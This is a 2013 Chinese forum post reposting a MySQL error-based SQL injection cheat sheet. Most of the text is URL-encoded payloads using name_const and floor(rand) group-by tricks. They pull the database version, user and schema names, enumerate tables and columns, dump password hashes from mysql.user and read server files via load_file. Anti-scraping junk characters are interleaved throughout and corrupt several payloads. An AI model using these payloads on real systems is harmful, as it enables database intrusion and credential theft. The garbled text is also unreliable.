本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 : K6 m- t& k( U3 t0 n
$ L1 y5 h8 s8 M( |, ^# _
* {( A, Y4 f* f8 {0 j% H% Z0 y
Mysql暴错注入参考(pdf),每天一贴。。。
$ q- E/ E- g4 D! c" q; K. ^$ C) y! {. b1 I
MySql Error Based Injection Reference
& F+ u( _- M# K1 Q! M[Mysql暴错注入参考]
( s+ j8 t8 `7 \) c+ u* EAuthornig0s1992/ c4 G1 J4 A- _" M
Blog:http://pnig0s1992.blog.51cto.com/& i% Y( e9 m6 h
TeAm:http://www.FreeBuf.com/
8 x z4 N& K k9 ]2 X/ N7 \Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
9 C% [5 _4 t# V3 l小部分版本使用name_const()时会报错.可以用给出的Method.2测试3 w. o: F/ r% F; N2 F( t
查询版本:
A+ ?, e) Y( \2 PMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+/ ~& K5 V+ {# G7 S( z
join+(select+name_const(@@version,0))b)c): j3 i% v2 f' `. w
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
' y5 ^/ `- Q( C) I8 T4 y, kup by a)b), u9 S. J. F( H- |
查询当前用户:
+ Q% V9 |0 J6 K/ mMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
2 G* c( E1 o+ R5 `6 X4 G: _6 p$ jMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r. D: u/ M6 Z: @
and(0)*2))x+from+information_schema.tables+group+by+x)a)9 r. |/ @" W+ e5 [' W
查询当前数据库:
: y, H9 j* G0 o- }/ v% M5 VMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
. I4 I2 Z* A( @Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
9 _* l9 V A3 B# [. Mor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
' ~; N) ?, R: z7 \依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+$ X e* c( x. U" z u; y& I8 x
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n5 s s1 {! z/ O2 M# o
顺序替换, E5 K2 w9 _: O" A' u
爆指定库数目:
8 o) h/ P7 Y1 D, ^, w2 Jand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
9 y. _$ E* ]- y _* Uable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group1 S+ {* W6 d4 N
+by+x)a)+and+1=1 0x6D7973716C=mysql" }7 L! \0 H# m4 R& z
依次爆表:
) F* |! m4 {# ^1 Uand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
, w) I1 \ |! zable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
+ l8 W) c9 Y; {4 c- qbles+group+by+x)a)+and+1=1
2 o& k' `1 Z. |8 _+ ?- {" G, U0x6D7973716C=Mysql 将n顺序替换+ T" I$ K4 a/ _0 M! R, P8 h/ y
爆表内字段数目:/ R' ]( v+ F- [6 b( P
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE5 O% B$ H% ]3 d( p8 s
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran& d/ p, s; Z& {* ^5 s- V/ L5 d
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
! y {5 j5 [( |1 B( X依次爆字段:8 R0 J" R: X1 [7 Y
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
8 P# z0 C& h# w+ l) V8 f3 I+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1# n, h' B6 [* V# A" k
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换& `9 \. i' A* W- x: U+ j
依次暴内容:
6 R, ?+ k) V/ I* z. rand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
' u+ y* {' ?! J" Uma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1! `+ }0 f( L: a, W4 r
将n顺序替换/ y& ^2 `- z1 J$ f' m
爆文件内容:
# V# f C" j5 ^ Q2 Z" wand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a7 y ?+ N( y: O
from+information_schema.tables+group+by+a)b) 5 E5 _/ }& c4 @" ?; g" J8 y
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
% c8 M' S# I( c' QThx for reading.. h. G5 C2 C1 T" v
4 ~* K, O; u3 t+ N r7 I
不要下载也可以,
4 O3 W/ D& T9 q% C. _* K |